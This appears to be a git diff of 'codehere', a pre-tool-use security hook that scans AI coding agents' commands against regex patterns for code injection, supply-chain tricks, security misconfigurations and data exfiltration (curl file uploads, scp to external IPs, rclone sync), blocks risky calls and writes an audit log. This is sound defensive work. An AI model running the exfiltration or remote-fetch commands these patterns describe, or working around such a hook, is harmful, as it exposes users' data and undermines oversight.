266
+ category: 'Code Injection',
267
+ description: 'Base64-encoded code execution',
268
+ },
269
+ {
270
+ regex: /\$\(curl|subprocess\.run\(['"]curl/i,
271
+ severity: 'high',
272
+ category: 'Code Injection',
273
+ description: 'Command substitution with curl',
274
+ },
64
275
  // Supply Chain
65
- { regex: /npm\s+install\s+[a-z0-9-]+[0-9]{4,}|pip\s+install\s+\w+\d{6,}/i, severity: 'high', category: 'Supply Chain', description: 'Suspicious package version pattern' },
66
- { regex: /npm\s+install\s+--save\s+[a-z]{2}\.[a-z]{2}\.[a-z]{2}/i, severity: 'high', category: 'Supply Chain', description: 'Typosquatting package pattern' },
67
- { regex: /preinstall|postinstall|prepare/i, severity: 'medium', category: 'Supply Chain', description: 'Lifecycle script reference' },
68
- { regex: /registry\.npmjs\.org\/[^/]+\/-\/[^/]+\.tgz.*;\s*bash/i, severity: 'critical', category: 'Supply Chain', description: 'Direct npm tarball execution' },
276
+ {
277
+ regex: /npm\s+install\s+[a-z0-9-]+[0-9]{4,}|pip\s+install\s+\w+\d{6,}/i,
278
+ severity: 'high',
279
+ category: 'Supply Chain',
280
+ description: 'Suspicious package version pattern',
281
+ },
282
+ {
283
+ regex: /npm\s+install\s+--save\s+[a-z]{2}\.[a-z]{2}\.[a-z]{2}/i,
284
+ severity: 'high',
285
+ category: 'Supply Chain',
286
+ description: 'Typosquatting package pattern',
287
+ },
288
+ {
289
+ regex: /preinstall|postinstall|prepare/i,
290
+ severity: 'medium',
291
+ category: 'Supply Chain',
292
+ description: 'Lifecycle script reference',
293
+ },
294
+ {
295
+ regex: /registry\.npmjs\.org\/[^/]+\/-\/[^/]+\.tgz.*;\s*bash/i,
296
+ severity: 'critical',
297
+ category: 'Supply Chain',
298
+ description: 'Direct npm tarball execution',
299
+ },
69
300
  // OWASP / Security Misconfig
70
- { regex: /Access-Control-Allow-Origin:\s*\*/i, severity: 'medium', category: 'OWASP', description: 'Wildcard CORS header' },
71
- { regex: /verify\s*=\s*False|ssl_verify\s*=\s*False|checkCertificate\s*=\s*false/i, severity: 'high', category: 'OWASP', description: 'SSL certificate verification disabled' },
72
- { regex: /password\s*=\s*["'][^"']{0,16}["']|secret\s*=\s*["'][^"']{0,16}["']/i, severity: 'medium', category: 'OWASP', description: 'Hardcoded credential' },
73
- { regex: /eval\s*\([^)]*user|innerHTML\s*=\s*[^;]*user|document\.write\s*\([^)]*user/i, severity: 'high', category: 'OWASP', description: 'Potential XSS via user input' },
74
- { regex: /SELECT\s+\*?\s+FROM\s+\w+\s+WHERE.*['"]\s*\+|query\s*\+\s*user/i, severity: 'critical', category: 'OWASP', description: 'SQL injection pattern' },
301
+ {
302
+ regex: /Access-Control-Allow-Origin:\s*\*/i,
303
+ severity: 'medium',
304
+ category: 'OWASP',
305
+ description: 'Wildcard CORS header',
306
+ },
307
+ {
308
+ regex: /verify\s*=\s*False|ssl_verify\s*=\s*False|checkCertificate\s*=\s*false/i,
309
+ severity: 'high',
310
+ category: 'OWASP',
311
+ description: 'SSL certificate verification disabled',
312
+ },
313
+ {
314
+ regex: /password\s*=\s*["'][^"']{0,16}["']|secret\s*=\s*["'][^"']{0,16}["']/i,
315
+ severity: 'medium',
316
+ category: 'OWASP',
317
+ description: 'Hardcoded credential',
318
+ },
319
+ {
320
+ regex: /eval\s*\([^)]*user|innerHTML\s*=\s*[^;]*user|document\.write\s*\([^)]*user/i,
321
+ severity: 'high',
322
+ category: 'OWASP',
323
+ description: 'Potential XSS via user input',
324
+ },
325
+ {
326
+ regex: /SELECT\s+\*?\s+FROM\s+\w+\s+WHERE.*['"]\s*\+|query\s*\+\s*user/i,
327
+ severity: 'critical',
328
+ category: 'OWASP',
329
+ description: 'SQL injection pattern',
330
+ },
75
331
  // Data Exfiltration
76
- { regex: /curl\s+.*-d\s+@\/|curl\s+.*--data-binary\s+@\//i, severity: 'high', category: 'Data Exfiltration', description: 'File upload via curl' },
77
- { regex: /scp\s+.*@\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i, severity: 'high', category: 'Data Exfiltration', description: 'SCP to external IP' },
78
- { regex: /rclone\s+copy|rsync\s+-av?[rpz]+\s+\/\w+.*@/i, severity: 'medium', category: 'Data Exfiltration', description: 'Mass file sync to remote' },
332
+ {
333
+ regex: /curl\s+.*-d\s+@\/|curl\s+.*--data-binary\s+@\//i,
334
+ severity: 'high',
335
+ category: 'Data Exfiltration',
336
+ description: 'File upload via curl',
337
+ },
338
+ {
339
+ regex: /scp\s+.*@\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i,
340
+ severity: 'high',
341
+ category: 'Data Exfiltration',
342
+ description: 'SCP to external IP',
343
+ },
344
+ {
345
+ regex: /rclone\s+copy|rsync\s+-av?[rpz]+\s+\/\w+.*@/i,
346
+ severity: 'medium',
347
+ category: 'Data Exfiltration',
348
+ description: 'Mass file sync to remote',
349
+ },
79
350
  ];
80
351
  // ── Risk scoring ────────────────────────────────────────────────────────────
81
352
  const SEVERITY_SCORES = {
@@ -112,16 +383,17 @@ export function calculateRiskScore(findings) {
112
383
  return Math.min(100, score);
113
384
  }
114
385
  // ── Audit log ───────────────────────────────────────────────────────────────
115
- const AUDIT_DIR = join(homedir(), '.codehere', 'audit');
116
- export const AUDIT_FILE = join(AUDIT_DIR, 'hook-events.jsonl');
117
- function ensureAuditDir() {
118
- if (!existsSync(AUDIT_DIR)) {
119
- mkdirSync(AUDIT_DIR, { recursive: true });
120
- }
121
- }
386
+ /**
387
+ * Audit log path — defaults to ~/.codehere/audit/hook-events.jsonl.
388
+ * Override at process start with CODEHERE_AUDIT_FILE env var (used by tests, optional for users).
389
+ */
390
+ export const AUDIT_FILE = process.env.CODEHERE_AUDIT_FILE || join(homedir(), '.codehere', 'audit', 'hook-events.jsonl');
122
391
  export function appendAuditLog(entry) {
123
392
  try {
124
- ensureAuditDir();
393
+ const dir = AUDIT_FILE.substring(0, AUDIT_FILE.lastIndexOf('/'));
394
+ if (dir && !existsSync(dir)) {
395
+ mkdirSync(dir, { recursive: true });
396
+ }
125
397
  appendFileSync(AUDIT_FILE, JSON.stringify(entry) + '\n');
126
398
  }
127
399
  catch {
@@ -145,10 +417,14 @@ export function appendAuditLog(entry) {
145
417
  * not execution — strip the search term so pattern strings in args don't
146
418
  * trigger the scanner.
147
419
  *
148
- * Write / Edit / MultiEdit: the content is data being written to disk,
149
- * not executed. Only scan the file path (destination) and, for Edit,
150
- * the old_string (what we're matching). Never scan new_string / content
151
- * — that would block writing security documentation, test fixtures, etc.
420
+ * Write / Edit / MultiEdit: the content is DATA being written to disk, not
421
+ * a command being executed. Only scan the file path (destination) — that's
422
+ * enough to catch writes to sensitive files (~/.ssh/id_rsa, ~/.aws/credentials).
423
+ * Do NOT scan content: it produces false positives on legitimate source code
424
+ * that mentions attack-shaped strings (i18n with "system prompt", README docs
425
+ * describing what we block, LLM-prompt-engineering code, security tests).
426
+ * The Bash surface is the right place to catch prompt-injection / code-injection
427
+ * patterns; Edit-time content is data, not execution intent.
152
428
  */
153
429
  function buildScanPayload(toolName, toolInput) {
154
430
  if (toolName === 'Bash') {
@@ -166,11 +442,11 @@ function buildScanPayload(toolName, toolInput) {
166
442
  return JSON.stringify({ file_path: toolInput.file_path ?? '' });
167
443
  }
168
444
  if (toolName === 'Edit') {
169
- // Scan destination path + old_string (the selector), not new_string (the replacement)
170
- return JSON.stringify({
171
- file_path: toolInput.file_path ?? '',
172
- old_string: toolInput.old_string ?? '',
173
- });
445
+ // Same model as Write: scan only the destination. The old_string is
446
+ // EXISTING file content (data), not execution intent — scanning it
447
+ // produced false positives on legitimate edits to files containing
448
+ // attack-shaped strings (e.g. i18n.js with a "system prompt" key).
449
+ return JSON.stringify({ file_path: toolInput.file_path ?? '' });
174
450
  }
175
451
  if (toolName === 'MultiEdit') {
176
452
  // Scan file paths only
@@ -181,7 +457,7 @@ function buildScanPayload(toolName, toolInput) {
181
457
  return JSON.stringify(toolInput);
182
458
  }
183
459
  export function processHookEvent(event) {
184
- const { hook_event_name, tool_name = 'unknown', tool_input = {}, session_id = 'unknown', } = event;
460
+ const { hook_event_name, tool_name = 'unknown', tool_input = {}, session_id = 'unknown' } = event;
185
461
  // Only intercept PreToolUse events
186
462
  if (hook_event_name !== 'PreToolUse') {
187
463
  return null;
@@ -191,7 +467,7 @@ export function processHookEvent(event) {
191
467
  // Layer 0 scan — local, no API, ~2ms
192
468
  const findings = scanPayload(payload);
193
469
  const riskScore = calculateRiskScore(findings);
194
- const criticalFindings = findings.filter(f => f.severity === 'critical');
470
+ const criticalFindings = findings.filter((f) => f.severity === 'critical');
195
471
  // Blocking threshold: critical finding OR risk score too high
196
472
  const blocked = criticalFindings.length > 0 || riskScore >= 60;
197
473
  // Build audit entry
@@ -213,12 +489,12 @@ export function processHookEvent(event) {
213
489
  const topFinding = criticalFindings[0] ?? findings[0];
214
490
  const categoryVoice = {
215
491
  'Prompt Injection': 'Caught a prompt injection attempt',
216
- 'Credential Theft': 'Stopped — this looks like it\'s trying to access credentials',
217
- 'Destructive': 'Stopped — this could delete or destroy data',
492
+ 'Credential Theft': "Stopped — this looks like it's trying to access credentials",
493
+ Destructive: 'Stopped — this could delete or destroy data',
218
494
  'Code Injection': 'Blocked — this pattern looks like code injection',
219
495
  'Supply Chain': 'Blocked — suspicious package or dependency pattern',
220
- 'OWASP': 'Blocked — security misconfiguration pattern',
221
- 'Data Exfiltration': 'Blocked — this looks like it\'s trying to send data out',
496
+ OWASP: 'Blocked — security misconfiguration pattern',
497
+ 'Data Exfiltration': "Blocked — this looks like it's trying to send data out",
222
498
  };
223
499
  const reason = topFinding
224
500
  ? `[codehere] ${categoryVoice[topFinding.category] ?? 'Blocked'} — ${topFinding.description}. (matched: "${topFinding.matched}")`
@@ -76,11 +76,13 @@ export class ExecutionTracer {
76
76
  duration: operation.duration,
77
77
  input: this.sanitizeInput(operation.input),
78
78
  output: this.sanitizeOutput(operation.output),
79
- error: operation.error ? {
80
- message: operation.error.message,
81
- stack: operation.error.stack,
82
- code: operation.error.code,
83
- } : undefined,
79
+ error: operation.error
80
+ ? {
81
+ message: operation.error.message,
82
+ stack: operation.error.stack,
83
+ code: operation.error.code,
84
+ }
85
+ : undefined,
84
86
  metadata: operation.metadata,
85
87
  };
86
88
  this.currentRun.traces.push(trace);
@@ -191,7 +193,10 @@ export class ExecutionTracer {
191
193
  // Limit size and remove sensitive fields
192
194
  const sanitized = JSON.parse(JSON.stringify(input, (key, value) => {
193
195
  // Remove API keys and secrets
194
- if (typeof key === 'string' && (key.toLowerCase().includes('key') || key.toLowerCase().includes('secret') || key.toLowerCase().includes('password'))) {
196
+ if (typeof key === 'string' &&
197
+ (key.toLowerCase().includes('key') ||
198
+ key.toLowerCase().includes('secret') ||
199
+ key.toLowerCase().includes('password'))) {
195
200
  return '[REDACTED]';
196
201
  }
197
202
  // Limit string length
@@ -0,0 +1,13 @@
1
+ /**
2
+ * AgentAdapter — F2 foundation.
3
+ *
4
+ * Uniform interface over every AI coding agent codehere can spawn and manage.
5
+ * One adapter per backend: ClaudeCodeAdapter, CodexAdapter, AiderAdapter, …
6
+ *
7
+ * The interface intentionally carries **optional fields for later PM-UX layers**
8
+ * so we don't force a breaking change when v0.4/v0.5 ship progress roll-up,
9
+ * final report, intervention, and project scope. Unused today, ignored by the
10
+ * current renderer. See memory/project_manager_ux_v1.md for the full shape.
11
+ */
12
+ export {};
13
+ //# sourceMappingURL=agent-adapter.js.map